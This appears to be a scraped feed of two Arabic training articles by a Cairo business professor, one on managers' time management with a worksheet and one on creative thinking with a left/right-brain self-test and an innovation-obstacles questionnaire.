  • إن إدارة الوقت ما هي إلا استعداد للالتزام الشخصي
  • إنها تتطلب إعادة ترتيب للأولويات ولعادات العمل .

 

إن إدارة و تنظيم الوقت تعنى تحقيق النتائج التالية :_

  • التعرف على بعض الحقائق حول عمل المدير .
  • التعرف على بعض النتائج المؤدية إلى ضياع استخدام الوقت .
  • إدراك العوامل المعوقة لحسن استخدام الوقت ، و كيفية ترشيد استخدام

        وقت المدير .

      

إن قليلون هم الذين يدركون قيمة الوقت .. و قليل من الدول هي التي تحرص شعوبها على الوقت .. و ليس صدفة أن تلك الدول هي الأكثر تقدما .. أن هناك بالفعل ارتباطا واضحا بين مدى التخلف الذي تعاني منه دولة معية وبين معدل الضياع في الوقت الذي يشاهد في تلك الدولة .. و ربما كان استخدام الوقت هو من أكثر الأشياء خضوعا لسيطرة المدير , و بالتالي أكثرها قابلية للترشيد .

 

ثانياً : الحقائق العشرة عن عمل المدير :

قام فريق من الباحثين بمركز القيادة الخلاقة بالولايات المتحدة بدراسة شاملة و مراجعة دقيقة لعدد كبير من الدراسات المتعلقة بالإدارة لتحديد الملامح الأساسية لعمل المدير و توصل الفريق إلى عدد من التعميمات بخصوص عمل المدير أهمها الحقائق العشرة عن عمل المدير ، وهى كما يلي :

1- المديرون يعملون ساعات طويلة:

يعمل المدير عادة ساعات طويلة _ أطول من الساعات التي يعملها غير المديرين ، وقد تصل الساعات التي يعملها المدير إلى 90  ساعة في الأسبوع في بعض الحالات و لاحظوا أيضا أنه من تزايد نجاح المدير يزداد عدد الساعات التي يعملها و ليس العكس .

 

2- المدير مشغول جدا:

بالإضافة إلى أن المدير يعمل ساعات عمل طويلة ، فأنه يفعل أشياء كثيرة مختلفة و تعدد بعض الدراسات أكثر من مئاتي شئ مختلف يمكن أن ينشغل بها المدير في يوم عمل واحد ، و يلاحظ أن المشرف أو رئيس القسم لا يكاد يجلس بدون مقاطعة أو تحدث لمدة دقيقة واحدة في اليوم العادي , غير أنه لحسن الحظ فإن معدل النشاط والتشتيت يقل مع ارتفاع المدير في درجات السلم الإداري

 

3- عمل المدير متقطع :

و كما هو متوقع مع ارتفاع عدد و تنوع الأشياء التي يهتم بها المدير  فإن إهتمامه بأي شئ أو موضوع منها لابد أن يكون لفترة قصيرة جدا ،ولابد أن يكون متقطعا ، فلا تكاد تتاح له الفرصة للاهتمام بموضوع أو شئ واحد لفترة معقولة ، ولابد بالتالي أن تفتقر اتصالاته مع الآخرين للاستمرار وإتمام ،وليس على شخص يمكن أن يكون فعالا في ظل هذا الجو من العمل .

 

4- عمل المدير متنوع :

يمكن تمييز خمسة أنواع أساسية في عمل المدير في اليوم العادي: أعمال ورقيه _ إتصالات تلفونية _ إجتماعات ومقابلات محددة مقدما _ إجتماعات ومقابلات غير مخططة أو غير رسمية _ زيارات وجولات متابعة وتفتيش ،ويعطى ذلك صورة تقريبية عن مدى التنوع في عمل المدير ،أضف إلى ذلك أن المشكلات المطروحة بحد ذاتها متنوعة إلى حد كبير جدا وتحتاج من المدير قدرة عالية على تغيير إهتمامات وإتجاهات تفكيره بسرعة كبيرة .       

 

5- المدير ينشغل بإدارته :

حيث يقضى المدير معظم وقته بالإدارة التي يرأسها . وكلما إرتفع مستوى المدير نلاحظ أنه يقضى وقتا أطول على مكتبه بالمقارنة بالتنقل بين المرؤوسين .

6- عمل المدير أساسا شفوى :

أكثر من نصف عمل المدير في الإدارة المباشرة والوسطى يقضى في إتصالات شفوية وترتفع النسبة أعلى في مستويات الإدارة العليا .حتى أن 90% من وقت كبار المديرين يقضونه في التحدث . وأغلب اتصالاتهم الشفوية تكون في مواقف وجه لوجه والقليل منها على التليفون .

 

7- إتصالات المدير بالآخرين كثيرة :

     يميل المديرين إلى الإتصال المستمر بالآخرين . ويميلون إلى الإتصال والتواجد مع مرؤوسيهم أكثر من رؤسائهم . فهم يشرفون على الآخرين أكثر مما يشرف عليهم كذلك يقضى المدير وقتا كبيرا في الإتصال والتفاعل مع الزملاء وتزداد نسبة الإتصالات مع أشخاص من خارج القسم وخارج الشركة كلما إرتفع المدير في المستوى الإداري .

 

8- المدير ليس مخططا مفكرا :

وذلك بسبب أن المديرين لا يتركون وحدهم إلا نادرا . فأنه ليس لديهم في الواقع وقت طويل يقضونه في التفكير والتخطيط . أنهم ببساطة مشغولون جدا ويمكن أن تمر أسابيع دون أن تتاح للمدير فرصة ولو 1/2 ساعة هدوء دون إزعاج أو مقاطعة ليفكر ويخطط . والوقت الذي يقضيه المدير وحده عادة يقضيه في القراءة والكتابة . وكمية المراسلات والأعمال الورقية والتقارير المرفوعة من الرؤساء – وما إلى ذلك – كبيرة للغاية والنتيجة أن المدير في العادة لا يقضى أكثر من 5% من وقته في التفكير والتخطيط والتأمل في عمله .

 

9- المعلومات جزء أساسى في عمل المدير :

يقضى المدير نحو (1/2) نصف وقته في الحصول على المعلومات وأقل من (1/4) ربع وقته في إتخاذ القرارات وتقييم الأفكار ووضع الإستراتيجيات .

 

10- المديرون لا يعرفون كيف يقضون وقتهم :

فإذا سألت أي مدير فيما يقضى وقته . فإنه غالباَ سيعطيك إجابة يعتقد هو أنها دقيقة ، في حين أن أي تحليل دقيق لكيفية قضائه لوقته تكشف أنها صورة غير صحيحة فالمديرون عادة يميلون إلى المبالغة في تقدير الوقت الذي يقضونه في الإنتاج والإطلاع والكتابة والتفكير والمكالمات التليفونية في حين يقللون الوقت الذي يتصورون أنهم يقضونه في الإتصالات والتحدث في المناقشات الرسمية وغير الرسمية .

     وربما كان الوقت هو أثمن ما تملكه وهو بنفس الوقت أكثر ما تضيعه ونادرا ما ندرك مقدار الضياع والإهدار الذي نرتكبه أو نسئ إستخدام الوقت أو نبدده . 

ويمكن تقسيم الوقت إلى أربعة جوانب هي :

  • الوقت الإبداعي : هو الوقت المخصص لتخطيط الأنشطة المستقبلية .
  • الوقت التحضيري : هو الوقت الذي يستغرقه المدير في تحديد الأنشطة  المطلوب تنفيذها .
  • الوقت الإنتاجي : هو الوقت الذي يقضيه المدير في القيام بالأعمال المطلوبة .
  • الوقت العام : هو الوقت الذي يقضيه المدير في المراسلات والتقارير .

 

* إن مشكلة تنظيم وإدارة وقت المديرين في المستويات الإدارية المختلفة لا تقل أهمية عن المشاكل الإدارية الأخرى التي تواجههم في العمل كل يوم بل كل ساعة ،وعلى ذلك فإنه يجب إخضاع حل هذه المشكلة مثل باقي المشكلات الأخرى للأسس والمبادئ العلمية المتبعة في هذا الشأن .

 

* إن وقت المدير ليس ملكه وحده بل هو أيضاَ :

  • ملك لأصحاب المشروع .
  • ملك للروؤساء .
  • ملك للمرؤوسين .
  • ملك للعملاء .
  • ملك للمجتمع الذي تعمل في ظله المنظمة .

  إنه يمكن القول بأن وقت المدير هو أهم الموارد المتاحة له ، والتي يجب عليه أن يرشد استخدامه ليتمكن من تحقيق إدارة فعالة لموارد المنظمة .

 

إن الإدارة الفعالة للوقت هو الطريق للفعالية ففي إدارة الوقت :

  • إنجاز أكبر قدر ممكن من الأعمال .
  • التوفيق بين متطلبات العمل والمتطلبات الشخصية والعائلية .
  • الشعور بالرضا وتحقيق الذات .
  • تجنب ضياع أي جزء من أهم مورد تميله الفرد .
  • إرضاء للرؤساء .
  • إرضاء للمرؤوسين .
  • تجنب الازدواج والإرتباك .  

 

ثالثاً : أهمية إدارة الوقت .

     توجد مجموعة من الأسباب تستوجب ضرورة إهتمام المديرين بتحقيق إدارة فعالة للوقت تتمثل فيما يلي :

  • أن وقت المدير يعتبر بمثابة تكلفة بالنسبة للمنظمة ، ويتمثل ذلك في الأجر الذي يحصل عليه من تلك المنظمة والحوافز ، والمزايا والخدمات الأخرى المباشرة والغير المباشرة .
  • أوضحت العديد من الدراسات أن العديد من المدراء يضيعون أوقاتهم غالباً في أمور غير هامة بينما الأمور الأكثر أهمية لا تستحوز إلا على نسبة بسيطة من أوقاتهم . الأمر الذي يستوجب ضرورة القيام بتحليل الوقت المتاح وإدارته بما يعظم النتائج من هذا الوقت .
  • أن الكثير من المديرين يضيع جزءاً كبيراً من وقته استجابة لأمور وقتية ، وغالباً ما تكون تلك الأمور قليلة الأهمية .
  • تعقد بيئة الأعمال عن ذي قبل . فلقد أصبح نشاط المنظمة يتأثر بالعديد من المتغيرات مثل : المتغيرات السياسية ، المتغيرات الإقتصادية ، المتغيرات الإجتماعية ، والمتغيرات القانونية . ومع التشابك الذي تتصف به تلك المتغيرات فقد أوجبت ضرورة أن تخصص الإدارة جزءا من وقتها لإستيعاب والتعامل مع تلك المتغيرات .
  • التغيرات الدائمة والمتلاحقة في كافة المجالات الإدارية والتكنولوجية وغيرها من العوامل التي تؤثر على نشاط المنظمة .

 

رابعاً : إدارة الوقت والمهارات السلوكية للأفراد

     إن إدارة الوقت هي مهارات سلوكية ، وعلى ذلك فإن إدارة الوقت من هذا المنظور تعنى : قدرة الفرد على تعديل سلوكه وتغيير بعض العادات السلبية التي يمارسها في حياته لتدبير وقته واستغلاله الاستغلال الأمثل، والتغلب على بعض ضغوط الحياة . ومن أهم هذه المهارات لتغيير السلوك :

2/1 مهارة الفرد في السيطرة على الوقت المتاح للعمل في ظل المعوقات الخارجة عن إرادته.

2/2 تغيير بعض العادات السلبية مثل عدم الالتزام بالوقت أو عدم تحديد بداية الأشياء ونهايتها .

2/3 قوة الإرادة والإصرار على تنفيذ المهمة في موعدها مهما كانت الظروف .

2/4 الالتزام والولاء للمهمة أو المنظمة أو جماعة العمل .

2/5 كسر الروتين والرتابة في العادات والممارسات اليومية والإصرار على النجاح    والتفوق دائما مهما كانت الظروف والعوائق النفسية أو الاجتماعية .

2/6 اكتساب عادات جديدة واتجاهات إيجابية نحو الوقت وتقديره واحترام الالتزام به وجعل هذه العادات الجديدة سلوكا دائما وبيعه وإقناع الآخرين به .

2/7 التفكير بحلول إيجابية للمشكلات التي قد تواجه عمليات الالتزام بالوقت .

2/8 وضع أهداف قصيرة وطويلة الأجل وذات معنى للحياة والعمل والاستمتاع بتحقيق هذه الأهداف .

2/9 توزيع ساعات الحياة اليومية ، والأسبوعية ، والشهرية لتكون ساعات ممتعة وذات معنى ومشتملة على الجد والمرح والمتعة والهواية والتشويق .

2/10 عمل توازن بين النشاطات النفسية والجسمية والذهنية عن طريق ممارسة الهوايات الرياضية والفكرية والألعاب والاجتماعات مع الأصدقاء والمعارف .

2/11 التغلب على الضغوط الطارئة ومواجهتها وابتكار حلول للتغلب عليها

 

خامساً : أهم العوامل المؤثرة في استخدام الوقت :

تتمثل أهم العوامل التي تؤثر في استخدام الوقت فيما يلي :

  • العادات والتقاليد الاجتماعية .
  • العلاقات العائلية والشخصية .
  • الحالة النفسية ( الاستمتاع/ الملل )
  • طبيعة ونوع العمل .
  • العلاقة مع الرؤساء ( التكليف بعمل إضافي ، إجتماعات ، مكالمات تليفونية ..إلخ ) .
  • العلاقة مع المرؤوسين ( تدريب ، حل منازعات ، توجيه ….إلخ ) .
  • درجة التفويض للسلطة .
  • العلاقة مع الزملاء( التفاهم ، التنسيق ، النزاع والصراعات ،الازدواج ،إختلاف الأراء …الخ )
  • المكالمات التليفونية الاعتراضية  .
  • الزيارات غير المخططة .
  • المشكلات والأزمات المفاجئة .
  • أدوات وأساليب توفير الوقت ( مثل الكمبيوتر ، الجرس ، التليفون ، التلكس ،الفاكسملى …الخ ) .
  • التنقل والزيارات الميدانية التي تتطلبها طبيعة العمل .
  • ظروف وحالة مكان العمل ( الإضاءة ، المكان ، تسهيلات خاصة ) .
  • البريد الصادر والوارد .
  • الاجتماعات واللجان .
  • الواجبات والمسئوليات تجاه الأسرة .

 

وتظهر فعالية الأفراد ( رؤساء أو مرؤوسين ) تجاه العوامل السابقة في درجة التحكم في تلك العوامل والسيطرة عليها وجعلها تعمل كقوى إيجابية لتحقيق إدارة فعالة للوقت .

 

 

إستقصاء

أهم العوامل المؤثرة في استخدام الوقت

 

المطلوب :

  • إجراء عصف ذهني وكتابة أهم العوامل التي ترى أنها تؤثر في استخدامك لوقت العمل الرسمي
  • تصنيف تلك العوامل إلى عوامل يمكنك التحكم فيها وعوامل لا يمكنك التحكم فيها .
  • استعن بالجدول التالي في تسجيل إجاباتك .

 

عوامل مؤثرة في استخدام الوقت  ويمكن التحكم فيها عوامل مؤثرة في استخدام الوقت ولا يمكن التحكم فيها
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          
–           –          

 

 *   *   *

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ.د / صبرى شحاتة – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-01/feed/ 0 سلسلة مقالات – التفكير الإبداعي-بقلم أ.د / صبرى شحاتة – المقالة التاسعة https://cameknowledge.camecenter.com/articles/creative-thinking-09/ https://cameknowledge.camecenter.com/articles/creative-thinking-09/#respond Sat, 01 Apr 2023 12:31:19 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10300 سلسلة مقالات -التفكير الابداعي  بقلم أ.د / صبرى شحاتة المقالة التاسعة   كيف تفكر أخترع أحد علماء النفس في فلوريدا، بعض الأسئلة التي يجب عليها الإنسان .. ومنها يحدد أي الأنواع تنتمي إليها . وعدد الأسئلة 40 سؤال يختار السائل إجابة واحدة يحددها .. ثم يجمع الإجابات جميعاً كما يلي : ( 1 ) أ. […]

The post سلسلة مقالات – التفكير الإبداعي-بقلم أ.د / صبرى شحاتة – المقالة التاسعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات -التفكير الابداعي 

بقلم أ.د / صبرى شحاتة

المقالة التاسعة

 

كيف تفكر

أخترع أحد علماء النفس في فلوريدا، بعض الأسئلة التي يجب عليها الإنسان .. ومنها يحدد أي الأنواع تنتمي إليها . وعدد الأسئلة 40 سؤال يختار السائل إجابة واحدة يحددها .. ثم يجمع الإجابات جميعاً كما يلي :

( 1 )

أ. تذكر الأشياء التي تدرس بصفة محددة فقط .       

ب.ذاكرة قوية للتفاصيل حتى فيما حول ما يدرس

ج. لا فرق بين الإثنين ( خليط )

( 2 )

أ. تحب قراءة القصص الخيالية .      

ب.تحب قراءة القصص الواقعية

ج. لا تفضل نوعا عن الآخر ( الخيالي عن الواقعي )

( 3 )

أ. تجد متعة في الأحلام الخيالية بنفس القدر الذي تجد فيه متعة في العيش في الواقع .       

ب.ذاكرة قوية للتفاصيل حتى فيما حول ما يدرس

ج. لا فرق بين الإثنين ( خليط )

 

( 4 )

أ. تنصت للموسيقى أثناء الدراسة أو الاستذكار .      

ب.لا تستطيع الدراسة أو الاستذكار إلا في هدوء تام

ج. تنصت للموسيقى أو الراديو أثناء لحظات الإسترخاء فقط

( 5 )

أ. تحب أن تكتب قصصا خيالية .      

ب.تحب أن تكتب قصصا واقعية

ج. لا تفضل نوعا عن الآخر

 

( 6 )

أ. إذا بحثت عن الرعاية الطبية تفضل وجود أناس آخرين(مثل الأقارب) .       

ب.لا تحب وجود إناس آخرون

ج. لا يهم وجود إناس أو عدم وجودهم

( 7 )

أ. تحب رسم أفكارك وصورك . 

ب.يمكن أن تنام ولكن بصعوبة

ج. لا فرق

( 8 )

أ. تظن أنك قابل للإيماء أو التنويم المغناطيسي

ب.يمكن أن تنام ولكن بصعوبة

ج. لا تصدق في إمكان التنويم المغناطيسي

( 9 )

أ. لا تفرق بين قصص الخيال وقصص الجريمة والحركة .     

ب.تفضل قصص الحركة

ج. تفضل قصص الغموض

( 10 )

أ. لا تفضل الجبر أو الهندسة في الدراسة أي : كلاهما سواء .

ب.تفضل الجبر

ج. تفضل الهندسة

( 11 )

أ. تحب تنظيم الأمور بترتيب متتال .   

ب.تحب تنظيم الأمور بخلطها معا

ج. لا فرق

( 12 )

أ. تملك ذاكرة جيدة للأسماء . 

ب.تملك ذاكرة جيدة للموسيقى والغناء

ج. تملك ذاكرة للأسماء والموسيقى على حد سواء

( 13 )

أ. تنظيم الحياة اليومية وفقاً للزمن المناسب لها .      

ب.تستهلك الزمن بطريقة غير منظمة

ج. لا تستطيع تنظيم أعمال اليوم وفقاً للزمن المتاح

( 14 )

أ. تمر بأمزجة مختلفة متقلبة .

ب.لا تمر بأمزجة عصبية مختلفة

ج. متوازن العاطفة دائماً

( 15 )

أ. تحسن الإتصال بالحيوانات بدرجة معقولة .  

ب.تستطيع الاتصال بالحيوانات

ج. لا تستطيع الاتصال بالحيوانات بتاتا

( 16 )

أ. لا تفضل القطط أو الكلاب ، بل هو سواء عندك .   

ب.تفضل القط

ج. تفضل الكلاب

( 17 )

أ. تحب التهريج .     

ب.تستطيع التهريج أحياناً

ج. جاد لا تحب المرح أو التهريج

( 18 )

أ. دائماً شارد الذهن . 

ب.أحياناً شارد الذهن

ج. لا تشرد أبداً بذهنك

( 19 )

أ. عند رؤية الإعلانات تجذبك الإعلانات المثيرة والفاضحة أحياناً .      

ب.عند رؤية الإعلانات تجذبك الإعلانات الجادة المحللة وأيها الأفضل.

ج. عند رؤية الإعلانات تجذبك الإعلانات التي تحتوي على معلومات دقيقة محددة.

( 20 )

أ. لا تفضل التعليمات في العمل في أي شكل تكون .   

ب.تفضل التعليمات العملية،أي التي تستعرض أمامك

ج. تفضل التعليمات المكتوبة

( 21 )

أ. قادر على مناقشة الأمور وعرضها بنفس الدقة،مما يقرأ .   

ب.قادر على المناقشة فقط بعد قراءة قصة أو رواية   

ج. قادر على عرض الأمور بالتمثيل بعد قراءة قصة أو رواية

( 22 )

أ. قادر على قص الحكايات وتمثيلها معا .     

ب.قادر على قص الحكايات فقط

ج. قادر على تمثيل الحكايات فقط

( 23 )

أ. تستمتع بالتحرك بأي شكل بنظام إيقاعي أو غير إيقاعي .   

ب.تستمتع بدرجة أكبر بالتصرف بنظام إيقاعي مرتب

ج. تستمتع بالتصرف بتلقائية وإيقاع متغير

( 24 )

أ. تفضل الرقص الحديث غير المنظم . 

ب.تفضل الرقص المنظم مثل الباليه

ج. لا فرق بين الإثنين

( 25 )

أ. تحب التلاحم مع الآخرين بالمشاركة العاطفية .      

ب.تحب تحليل عواطف الآخرين دون المشاركة

ج. تحب التحليل والتلاحم مع الآخرين

( 26 )

أ. تفضل التفكير وأنت مستلقي .       

ب.تفضل التفكير وأنت جالس

ج. لا فرق بين الاثنين

( 27 )

أ. تحب أن تكون ناقدا .       

ب.تحب أن تكون مؤلفا موسيقياً

ج. تحب أن تكون مؤلفاً وناقداً

( 28 )

أ. لد قدرة على التنبؤ بالأحداث قبل وقوعها بالإلهام .  

ب.لك قدرة علا التنبؤ وفقا للمنهج العلمي والإحصاءات فقط

ج. لك قدرة على الاثنين

( 29 )

أ. تحب الشرح بالكلمات .      

ب.لا تحب الشرح بالكلمات تصاب بالملل أثناء ذلك

ج. يمكن أن تركز الانتباه بشدة أثناء الشرح والسيطرة على رغباتك

( 30 )

أ. تحب قراءة القصص التحليلية .     

ب.تحب قراءة القصص الخيالية والخلاقة

ج. تحب الإثنين بنفس الدرجة

( 31 )

أ. لا تتفاهم أو لا تتفاهم بامتثال وفقاً للطرف نفسه .   

ب.مطاوع وممتثل بالطبيعة

ج. معاند ولا تمتثل بسهولة

( 32 )

أ. لا تهتم بالعمل المحدد المدة أو غير محدد المدة :كله سواء .       

ب.تفضل العمل محدد المدة

ج. تفضل العمل المفتوح لا عقود محددة المدة

( 33 )

أ. تفضل التعلم والدراسة الحرة التي تفتح أفاقاً عديدة . 

ب.تفضل الدراسة والتعلم المحدد والنظم وفقاً لنظام موضوع

ج. لا تفرق بين النوعين

( 34 )

أ. لك ذاكرة جيدة للأسماء والتواريخ .  

ب.لك ذاكرة جيدة للخيال والفرغ والخلق المبدع

ج. لك ذاكرة جيدة في النوعين بالتساوي

( 35 )

أ. تقرأ بحثاً مكتوباً من الفكرة العامة للموضوع ككل .   

ب.تقرأ المكتوب بحثاً عن التفاصيل الدقيقة والحقائق المجردة

ج. تقرأ عن الفكرة العامة أو لا، قم تبحث عن التفاصيل الدقيقة

( 36 )

أ. لك مهارة في وضع الأفكار في تسلسل منظم .      

ب.لك مهارة في ربط الأفكار بعضها بالبعض الآخر

ج. لك مهارة في كلا النوعين معا

( 37 )

أ. سواء عندك، أن تلخص الموضوعات التي تقرأها أو تضع خطوطا تحت المهم .      

ب.تفضل وضع خطوط تحت الأجزاء المهمة

ج. تفصل عمل ملخصات لما تقرأ

( 38 )

أ. استحداث أفكار، ثم الوصول إلى نتائج:هو ما تفعله .       

ب.الوصول إلى نتائج هو المهم عندك لأفكار موضوعة أصلا

ج. وضع الأفكار والتصورات أهم عندك من الوصول إلى النتائج

( 39 )

أ. تحل المشاكل بالمنطق العقلي الواعي .      

ب.تحل المشاكل بالفراسة والإلهام

ج. تحل المشاكل بالطريقين معا

( 40 )

أ. يسعدك بالتساوي أن تحسن الأشياء الموجودة .     

ب.تسعدك أكثر أن تحسن ما هو موجود.

ج. يسعدك أكثر أن تخترع شيئاً جديداً.

 

 

استمارة تفريغ

كيف تفكر ..؟

أولاً : بعد أن تجيب عن الأربعين سؤالا ، ضع الإجابات وفقاً لنوعها (أ) أو (ب) أو (ج) في مكانها في الجدول (1)

(ش) = شمال ( أي الفص الأيسر)

(ي) = يمين ( أي الفص الأيسر)

(م) = متعادل ( متوازن)

ثانياً : إجمع عدد الإجابات من كل نوع ( أي عدد “أ” وعدد “ب” وعدد “ج” ثم أنظر في الجدول الثاني لتحدد الرقم المقابل لكل نوع)

م أ ب ج م أ ب ج
3 ش ي م 4 ي ش م
7 ي ش م 8 ي ش م
11 م ش ي 12 م ش ي
15 م ش ي 16 ي ش م
19 ي ش م 20 ي ش م
23 م ش ي 24 م ش ي
27 ي ش م 28 ي ش م
31 ش ي م 32 ش ي م
35 ي ش م 36 ش ي م
39 م ش ي 40 م ش ي

 

 
م أ ب ج م أ ب ج
1 ش ي م 2 ي ش م
5 ي ش م 6 ي ش م
9 م ش ي 10 م ش ي
13 م ش ي 14 ي ش م
17 ي ش م 18 ي ش م
21 م ش ي 22 م ش ي
25 ي ش م 26 ي ش م
29 ش ي م 30 ش ي م
33 ي ش م 34 ش ي م
37 م ش ي 38 م ش ي

 

 

 

جدول رقم ( 2 )

  ش م ي
صفر

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

 50

55

59

63

67

71

76

80

84

88

92

97

101

105

109

113

118

122

126

130

134

139

143

147

151

155

160

164

168

172

176

180

 39

43

46

50

54

58

61

65

69

73

76

80

84

88

91

95

99

103

106

110

114

118

121

125

129

133

136

140

144

148

151

155

 51

55

59

63

68

72

76

80

84

88

92

96

100

105

109

113

117

121

125

129

133

137

141

146

150

154

159

162

166

170

174

178

ثالثاً : إذا زادت الرقم المقابل لأي نوع عن 120 فأنت تنتمي إلى هذا النوع وأن فص المخ الذي يعمل عندك هو المقابل لهذا النوع فص أيسر أو فص أيمن أو توازن ، أما إذا لم يصل أي نوع إلى رقم (120) فأنت خليط في كل الأنواع وتتقلب وفقاً للظروف . جدول ( 2 )

رابعاً : بعد أن تحدد نوع المخ وتحلله

(1 ) إذا كنت من النوع الذي يسيطر عليه فص المخ الأيسر (ش) فأنت تفضل بشدة أن تتعامل مع المشاكل بطريقة منطقية وعملية لا تتبع الهوى أو الإلهام بل الواقع الملموس، وتنجح في مجالات العمل التجاري والمكتبي المنظم الذي يتعامل مع الأرقام والإحصاءات والدراسات الدقيقة قبل اتخاذ القرارات، وأنت تتحمل المسئولية وتميل للقيادة ولا تحب الخروج عن النظام والقانون .. مرتب في حياتك وملتزم بمواعيدك وطريقة المعيشة اليومية وأداء الواجب .

(2 ) إذا كنت من النوع الذي يسيطر عليه فص المخ الأيمن (ي) فأنت تعالج الأمور بالتخيل والإلهام والفراسة ولا تلجأ للطرق المنظمة والعملية الدقيقة إلا عند الضرورة القصوى ، وتميل للأعمال الإنسانية ، كالطب والتمريض والأعمال المثالية وكل الأعمال التي تتعلق بالاتصال بالناس (الجماهيرية) مثل : الفن والأدب والرسم وغيرهم .

(3 ) إذا كنت من النوع الذي يستعمل فص المخ وفق للظروف وبالتساوي أي أن النتيجة من الجدول تتساوى تقريباً بين (ش) و(ي) فأنت تتقلب وفقاً للظروف المحيطة (وإن غلب واحد عن الآخر وفقاً لما حصلت عليه من رقم في جدول (2) .. أي قد تكون ميالاً للناحية اليسرى أو الناحية اليمنى بدرجة أكبر من الأخرى).

(4 ) النوع المتوازن (م) وهو النوع الذي يستعمل فصي المخ معا باستمرار فهو يخضع كل شيء للمنطق، ولكن مع استعمال الخيال والإيحاء والفراسة ووفقاً للرقم لكل نوع يكون الاتجاه الأقوى لناحية من النواحي خاصة عند التعرض لتجارب قاسية أو حادة .

ويستطيع هذا النوع أن يعمل في مجالات كثيرة مثل التمثيل والسياسة والصحافة وغيرها من التي تحتاج إلى التغيير المزاجي باستمرار ووفقاً للظروف .

والطريف أن رجال الصناعة الغربيين استغلوا تلك المعلومات وإخترعوا أجهزة تستعمل بشكل خاص لتقوية ناحية الفصوص المخية لتكون أكثر قوة حتى يمكن الاستفادة منها في نواحي الحياة المختلف5ة …

وتباع تلك الأجهزة على نطاق واسع في أمريكا وأوروبا واليابان بصفة خاصة.

وقد يكون لتلك الأجهزة وضع خاص في مستقبل التعليم ، خاصة للطلبة المتعثرين في أحد مجالات الدراسة دون الأخرى، وذلك في انتقاء الشخص المناسب للعمل المناسب أو الدراسة المناسبة ، مما قد يفتح أفاقاً بعيد في مجال التعليم في المستقبل القريب.

 

معوقات وعقبات الابتكار

إقرأ كل عبارة من العبارات الآتية بدقة، ثم ضع دائرة حول الدرجة التي تتفق مع وجهة نظرك أو تنطبق على سلوكك أو تصرفاتك في العمل

م العبارة لا نادراً أحياناً غالباً دائماً
1 تبحث إدارة مؤسستنا بإستمرار عن البدائل المعروفة والمعتادة 1 2 3 4 5
2 أدرك جيداً معظم متغيرات المواقف التي أتعرض لها 5 4 3 2 1
3 أميل إلى مسايرة الآخرين في أفكارهم وآرائهم 1 2 3 4 5
4 أخاف أن أظهر أمام الآخرين بمظهر العباء وأخشى نقدهم لي 1 2 3 4 5
5 أحرص على قبول الأعمال التي فيها تحدي لقدراتي 5 4 3 2 1
6 يقسو مجتمعنا على من يحيد عن عاداته وتقاليده 1 2 3 4 5
7 يعجبني السرعة في التقييم والحكم على الأشياء 1 2 3 4 5
8 أستطيع أن أتعامل بحرية مع المفاهيم والأشياء 5 4 3 2 1
9 يحترم مجتمعنا حرية كل فرد في التفكير والتعبير 5 4 3 2 1
10 أنسى أسماء الناس والشوارع والمدن الصغيرة 1 2 3 4 5
11 تركز إدارة مؤسستنا على إستقرارا العلاقات فيها لفترة طويلة 1 2 3 4 5
12 تميل الإدارة العليا في مؤسستنا إلى تركيز السلطة 1 2 3 4 5
13 أسيطر على خيالي ولا أدعه يسبح 1 2 3 4 5
14 أميل إلى حب الإستطلاع ومعرفة كل ما يدور حولي 5 4 3 2 1
15 أثق إلى حد كبير في قدراتي وخبراتي 5 4 3 2 1
16 أحب أن أتحمل المخاطرة ومواجهة الأمور الصعبة 5 4 3 2 1
17 أتحمس لأفكاري وابذل أقصى جهد لتحقيقها 5 4 3 2 1
18 أعتقد بأن العمل الجاد عنصراً أهم من الحظ في تحقيق النجاح 5 4 3 2 1
19 يربى مجتمعنا أطفاله على أساس مبدأ الوصاية الفكرية 1 2 3 4 5
20 أستطيع أن أكتشف أوجه القصور والضعف في الأشياء 5 4 3 2 1
21 أعتمد على بديهتي وإحساسي بالصح والخطأ والخطأ عند حل مشكلة معينة 1 2 3 4 5
22 أتمتع بالقدرة على الربط بين الأشياء وتصور علاقات جديدة بينها 5 4 3 2 1
23 تركز إدارة مؤسستنا بدرجة كبيرة على اللوائح والقواعد والإجراءات 1 2 3 4 5
24 يتبع مجتمعنا للأفكار الجديدة فرصة الإختبار

 

التجريب

 5 4 3 2 1
25 أحرص تماماً على معرفة التفاصيل الدقيقة للأشياء 1 2 3 4 5
26 تخصص مؤسستنا المبالغ الكافية للبحوث والتطوير والإبتكار 5 4 3 2 1
27 تشجع إدارة مؤسستنا العاملين على التعبير عن آرائهم وأفكارهم بحرية وصراحة من خلال قنوات الإتصال الفعالة 5 4 3 2 1
28 تحرص وسائل وبرامج الإعلام في مجتمعنا على توسيع أفاقنا الفكرية 5 4 3 2 1
29 أدت كثرة القيود والقوانين التي تصنعها الدولة إلى تحول إدارة مؤسستنا إلى مجرد أداة للتنفيذ 1 2 3 4 5
30 تحرص مؤسستنا على تطبيق أساليب عديدة للحصول على أفكار العاملين ومقترحاتهم 5 4 3 2 1
31 تنتابني الحيرة عندما أفكر في حل مشاكلي 1 2 3 4 5
32 أتميز بإرتفاع مستوى طموحاتي 5 4 3 2 1
33 أخاف أن أعمال بصورة منفردة 1 2 3 4 5
34 أؤمن تماما بأن من فات قديمه تاه 1 2 3 4 5
35 بصر رئيسي على تنفيذي للعمل طبقاً لتعليماته وتوجيهاته 1 2 3 4 5
36 أفضل أن أخلو بنفسي بعيداً عن الناس 1 2 3 4 5
